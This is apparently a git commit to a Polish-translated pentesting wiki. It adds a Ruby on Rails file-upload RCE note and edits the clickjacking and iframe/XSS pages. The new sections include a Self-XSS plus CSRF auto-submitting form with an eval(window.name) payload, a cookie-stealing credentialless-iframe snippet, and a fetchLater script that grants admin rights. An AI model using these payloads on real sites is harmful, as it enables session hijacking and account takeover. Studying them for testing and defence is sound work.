Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.

2025-10-10 18:36:50 +00:00 · 2025-06-15 15:14:13 +00:00 · 2025-06-15 15:14:13 +00:00 · 49e37b48b0
commit 49e37b48b0
parent 2b6bcda3b7
4 changed files with 80 additions and 23 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -435,6 +435,7 @@
  - [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
  - [Python](network-services-pentesting/pentesting-web/python.md)
  - [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
+  - [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
  - [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
  - [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
  - [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
--- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md
+++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md
@ -0,0 +1,9 @@
+# Ruby Tricks
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Wgrywanie plików do RCE
+
+Jak wyjaśniono w [tym artykule](https://www.offsec.com/blog/cve-2024-46986/), wgrywanie pliku `.rb` do wrażliwych katalogów, takich jak `config/initializers/`, może prowadzić do zdalnego wykonania kodu (RCE) w aplikacjach Ruby on Rails.
+
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/clickjacking.md
+++ b/src/pentesting-web/clickjacking.md
@ -4,7 +4,7 @@

 ## Czym jest Clickjacking

-W ataku clickjacking **użytkownik** jest **oszukiwany** w celu **kliknięcia** w **element** na stronie internetowej, który jest albo **niewidoczny**, albo przebrany za inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobieranie złośliwego oprogramowania, przekierowanie na złośliwe strony internetowe, udostępnienie danych logowania lub informacji wrażliwych, przelewy pieniędzy lub zakupy produktów online.
+W ataku clickjacking **użytkownik** jest **oszukiwany** w celu **kliknięcia** w **element** na stronie internetowej, który jest albo **niewidoczny**, albo przebrany za inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobieranie złośliwego oprogramowania, przekierowanie na złośliwe strony internetowe, udostępnienie danych logowania lub informacji wrażliwych, transfery pieniędzy lub zakupy produktów online.

 ### Sztuczka z prewypełnieniem formularzy

@ -34,7 +34,7 @@ z-index: 1;
 <div>Click me</div>
 <iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
 ```
-### Multistep Payload
+### Wieloetapowy ładunek
 ```css
 <style>
 iframe {
@ -98,25 +98,25 @@ Atakujący mógłby przygotować atak **Clickjacking** na tę stronę, **prepopu

 Po raz pierwszy [wyjaśnione w tym poście](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), ta technika wymaga, aby ofiara dwukrotnie kliknęła przycisk na niestandardowej stronie umieszczonej w określonym miejscu, i wykorzystuje różnice czasowe między zdarzeniami mousedown a onclick, aby załadować stronę ofiary podczas podwójnego kliknięcia, tak aby **ofiara faktycznie kliknęła na legitny przycisk na stronie ofiary**.

-Przykład można zobaczyć w tym wideo: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
+Przykład można zobaczyć w tym filmie: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)

 Przykład kodu można znaleźć na [tej stronie](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).

 > [!WARNING]
-> Ta technika pozwala oszukać użytkownika, aby kliknął w 1 miejsce na stronie ofiary, omijając wszelkie zabezpieczenia przed clickjackingiem. Dlatego atakujący musi znaleźć **wrażliwe akcje, które można wykonać za pomocą tylko 1 kliknięcia, takie jak monity OAuth akceptujące uprawnienia**.
+> Ta technika pozwala oszukać użytkownika, aby kliknął w 1 miejsce na stronie ofiary, omijając wszelkie zabezpieczenia przeciwko clickjacking. Dlatego atakujący musi znaleźć **wrażliwe akcje, które można wykonać za pomocą tylko 1 kliknięcia, takie jak monity OAuth akceptujące uprawnienia**.

 ## Strategie łagodzenia Clickjacking

-### Ochrona po stronie klienta
+### Obronę po stronie klienta

 Skrypty wykonywane po stronie klienta mogą podejmować działania, aby zapobiec Clickjacking:

 - Zapewnienie, że okno aplikacji jest głównym lub górnym oknem.
 - Uczynienie wszystkich ramek widocznymi.
 - Zapobieganie kliknięciom w niewidoczne ramki.
- Wykrywanie i informowanie użytkowników o potencjalnych próbach Clickjacking.
+- Wykrywanie i ostrzeganie użytkowników o potencjalnych próbach Clickjacking.

-Jednak te skrypty mogą być obejście:
+Jednak te skrypty frame-busting mogą być obejście:

 - **Ustawienia zabezpieczeń przeglądarek:** Niektóre przeglądarki mogą blokować te skrypty w zależności od ich ustawień zabezpieczeń lub braku wsparcia dla JavaScript.
 - **Atrybut `sandbox` iframe HTML5:** Atakujący może zneutralizować skrypty frame buster, ustawiając atrybut `sandbox` z wartościami `allow-forms` lub `allow-scripts` bez `allow-top-navigation`. To uniemożliwia iframe weryfikację, czy jest górnym oknem, np.,
@ -126,13 +126,13 @@ id="victim_website"
 src="https://victim-website.com"
 sandbox="allow-forms allow-scripts"></iframe>
 ```
-Wartości `allow-forms` i `allow-scripts` umożliwiają działania w obrębie iframe, jednocześnie wyłączając nawigację na najwyższym poziomie. Aby zapewnić zamierzoną funkcjonalność docelowej witryny, mogą być konieczne dodatkowe uprawnienia, takie jak `allow-same-origin` i `allow-modals`, w zależności od typu ataku. Wiadomości w konsoli przeglądarki mogą wskazać, które uprawnienia należy zezwolić.
+`allow-forms` i `allow-scripts` umożliwiają działania w obrębie iframe, jednocześnie wyłączając nawigację na najwyższym poziomie. Aby zapewnić zamierzoną funkcjonalność docelowej witryny, mogą być konieczne dodatkowe uprawnienia, takie jak `allow-same-origin` i `allow-modals`, w zależności od typu ataku. Wiadomości w konsoli przeglądarki mogą wskazać, które uprawnienia należy zezwolić.

 ### Ochrona po stronie serwera

 #### X-Frame-Options

-Nagłówek odpowiedzi HTTP **`X-Frame-Options`** informuje przeglądarki o legalności renderowania strony w `<frame>` lub `<iframe>`, pomagając zapobiegać Clickjacking:
+**`X-Frame-Options` nagłówek odpowiedzi HTTP** informuje przeglądarki o legalności renderowania strony w `<frame>` lub `<iframe>`, pomagając zapobiegać Clickjacking:

 - `X-Frame-Options: deny` - Żaden domena nie może osadzić treści.
 - `X-Frame-Options: sameorigin` - Tylko bieżąca witryna może osadzić treść.
@ -141,7 +141,7 @@ Nagłówek odpowiedzi HTTP **`X-Frame-Options`** informuje przeglądarki o legal

 #### Dyrektywa frame-ancestors w polityce bezpieczeństwa treści (CSP)

-Dyrektywa **`frame-ancestors` w CSP** jest zalecaną metodą ochrony przed Clickjacking:
+**Dyrektywa `frame-ancestors` w CSP** jest zalecaną metodą ochrony przed Clickjacking:

 - `frame-ancestors 'none'` - Podobnie jak `X-Frame-Options: deny`.
 - `frame-ancestors 'self'` - Podobnie jak `X-Frame-Options: sameorigin`.
@ -151,7 +151,7 @@ Na przykład, poniższa CSP zezwala tylko na osadzanie z tej samej domeny:

 `Content-Security-Policy: frame-ancestors 'self';`

-Dalsze szczegóły i złożone przykłady można znaleźć w [dokumentacji frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) oraz [dokumentacji frame-ancestors CSP Mozilli](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
+Dalsze szczegóły i złożone przykłady można znaleźć w [dokumentacji frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) oraz [dokumentacji frame-ancestors Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).

 ### Polityka bezpieczeństwa treści (CSP) z `child-src` i `frame-src`

@ -181,9 +181,9 @@ Ta polityka pozwala na ramki i pracowników z tego samego pochodzenia (self) ora
 - Zachowanie w przypadku braku: Jeśli frame-src jest nieobecny, child-src jest używane jako zapasowe dla ramek. Jeśli oba są nieobecne, używane jest default-src.
 - Ścisła definicja źródła: Uwzględnij tylko zaufane źródła w dyrektywach, aby zapobiec wykorzystaniu.

-#### Skrypty JavaScript łamiące ramki
+#### Skrypty JavaScript do łamania ramek

-Chociaż nie są całkowicie niezawodne, oparte na JavaScript skrypty łamiące ramki mogą być używane do zapobiegania osadzaniu strony internetowej w ramkach. Przykład:
+Chociaż nie są całkowicie niezawodne, oparte na JavaScript skrypty do łamania ramek mogą być używane do zapobiegania osadzaniu strony internetowej w ramkach. Przykład:
 ```javascript
 if (top !== self) {
 top.location = self.location
--- a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
+++ b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
@ -4,7 +4,7 @@

 ## Iframes w XSS

-Istnieją 3 sposoby na wskazanie zawartości strony w iframe:
+Istnieją 3 sposoby wskazania zawartości strony w iframe:

 - Poprzez `src` wskazujący URL (URL może być cross origin lub same origin)
 - Poprzez `src` wskazujący zawartość za pomocą protokołu `data:`
@ -50,11 +50,11 @@ Zauważ, że if4 jest uważany za mający `null` origin.

 ### Iframes z CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>

-> [!NOTE]
-> Proszę zauważyć, że w poniższych obejściach odpowiedź na stronę w iframe nie zawiera żadnego nagłówka CSP, który zapobiegałby wykonaniu JS.
+> [!TIP]
+> Proszę zauważyć, że w poniższych obejściach odpowiedź na stronę w iframe nie zawiera żadnego nagłówka CSP, który zapobiega wykonaniu JS.

 Wartość `self` dla `script-src` nie pozwoli na wykonanie kodu JS przy użyciu protokołu `data:` lub atrybutu `srcdoc`.\
-Jednak nawet wartość `none` CSP pozwoli na wykonanie iframe'ów, które umieszczają URL (pełny lub tylko ścieżkę) w atrybucie `src`.\
+Jednak nawet wartość `none` CSP pozwoli na wykonanie iframe'ów, które umieszczają adres URL (pełny lub tylko ścieżkę) w atrybucie `src`.\
 Dlatego możliwe jest obejście CSP strony za pomocą:
 ```html
 <html>
@ -77,11 +77,11 @@ src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert
 </html>
 ```
 Zauważ, że **poprzedni CSP zezwala tylko na wykonanie skryptu inline**.\
-Jednak **wykonane zostaną tylko skrypty `if1` i `if2`, ale tylko `if1` będzie mogło uzyskać dostęp do tajemnicy rodzica**.
+Jednakże, **tylko skrypty `if1` i `if2` będą wykonywane, ale tylko `if1` będzie miało dostęp do tajemnicy rodzica**.

 ![](<../../images/image (372).png>)

-Dlatego możliwe jest **obejście CSP, jeśli możesz przesłać plik JS na serwer i załadować go za pomocą iframe, nawet przy `script-src 'none'`**. Może to **potencjalnie być również zrealizowane poprzez nadużycie punktu końcowego JSONP w tej samej witrynie**.
+Dlatego możliwe jest **obejście CSP, jeśli możesz przesłać plik JS na serwer i załadować go za pomocą iframe, nawet przy `script-src 'none'`**. To **może być również zrealizowane poprzez nadużycie punktu końcowego JSONP w tej samej witrynie**.

 Możesz to przetestować w następującym scenariuszu, w którym ciasteczko jest kradzione, nawet przy `script-src 'none'`. Po prostu uruchom aplikację i uzyskaj do niej dostęp za pomocą przeglądarki:
 ```python
@ -123,17 +123,64 @@ Gdy jest używany, atrybut `sandbox` nakłada kilka ograniczeń:

 - Zawartość jest traktowana tak, jakby pochodziła z unikalnego źródła.
 - Każda próba przesłania formularzy jest blokowana.
- Wykonanie skryptów jest zabronione.
+- Wykonywanie skryptów jest zabronione.
 - Dostęp do niektórych API jest wyłączony.
 - Zapobiega interakcji linków z innymi kontekstami przeglądania.
- Użycie wtyczek za pomocą `<embed>`, `<object>`, `<applet>` lub podobnych tagów jest zabronione.
+- Użycie wtyczek za pomocą tagów `<embed>`, `<object>`, `<applet>` lub podobnych jest zabronione.
 - Nawigacja w górnym kontekście przeglądania przez samą zawartość jest zablokowana.
- Funkcje, które są uruchamiane automatycznie, takie jak odtwarzanie wideo lub automatyczne skupianie elementów formularza, są blokowane.
+- Funkcje, które są uruchamiane automatycznie, takie jak odtwarzanie wideo lub automatyczne skupienie na kontrolkach formularza, są blokowane.

-Wartość atrybutu może być pozostawiona pusta (`sandbox=""`), aby zastosować wszystkie powyższe ograniczenia. Alternatywnie, może być ustawiona na listę wartości oddzielonych spacjami, które zwalniają iframe z niektórych ograniczeń.
+Wartość atrybutu może być pozostawiona pusta (`sandbox=""`), aby zastosować wszystkie powyższe ograniczenia. Alternatywnie, może być ustawiona na listę specyficznych wartości oddzielonych spacjami, które zwalniają iframe z niektórych ograniczeń.
 ```html
 <iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
 ```
+### Credentialless iframes
+
+Jak wyjaśniono w [tym artykule](https://blog.slonser.info/posts/make-self-xss-great-again/), flaga `credentialless` w iframe jest używana do ładowania strony wewnątrz iframe bez wysyłania poświadczeń w żądaniu, jednocześnie zachowując politykę tego samego pochodzenia (SOP) załadowanej strony w iframe.
+
+To pozwala iframe na dostęp do wrażliwych informacji z innego iframe w tym samym SOP załadowanym na stronie nadrzędnej:
+```javascript
+window.top[1].document.body.innerHTML = 'Hi from credentialless';
+alert(window.top[1].document.cookie);
+```
+- Przykład exploita: Self-XSS + CSRF
+
+W tym ataku, atakujący przygotowuje złośliwą stronę internetową z 2 iframe'ami:
+
+- Iframe, który ładuje stronę ofiary z flagą `credentialless` z CSRF, który wywołuje XSS (Wyobraź sobie Self-XSS w nazwie użytkownika):
+```html
+<html>
+<body>
+<form action="http://victim.domain/login" method="POST">
+<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
+<input type="hidden" name="password" value="Super_s@fe_password" />
+<input type="submit" value="Submit request" />
+</form>
+<script>
+document.forms[0].submit();
+</script>
+</body>
+</html>
+```
+
+- Inny iframe, który faktycznie ma zalogowanego użytkownika (bez flagi `credentialless`).
+
+Następnie, z XSS możliwe jest uzyskanie dostępu do drugiego iframe'a, ponieważ mają ten sam SOP i kradzież ciasteczka, na przykład wykonując:
+```javascript
+alert(window.top[1].document.cookie);
+```
+### fetchLater Attack
+
+Jak wskazano w [tym artykule](https://blog.slonser.info/posts/make-self-xss-great-again/), API `fetchLater` pozwala na skonfigurowanie żądania, które ma być wykonane później (po pewnym czasie). Dlatego można to wykorzystać, aby na przykład zalogować ofiarę w sesji atakującego (z użyciem Self-XSS), ustawić żądanie `fetchLater` (aby zmienić hasło bieżącego użytkownika na przykład) i wylogować się z sesji atakującego. Następnie ofiara loguje się w swojej własnej sesji, a żądanie `fetchLater` zostanie wykonane, zmieniając hasło ofiary na to ustawione przez atakującego.
+
+W ten sposób, nawet jeśli URL ofiary nie może być załadowany w iframe (z powodu CSP lub innych ograniczeń), atakujący nadal może wykonać żądanie w sesji ofiary.
+```javascript
+var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
+const minute = 60000
+let arr = [minute, minute * 60, minute * 60 * 24, ...]
+for (let timeout of arr)
+fetchLater(req,{activateAfter: timeout})
+```
 ## Iframes w SOP

 Sprawdź następujące strony: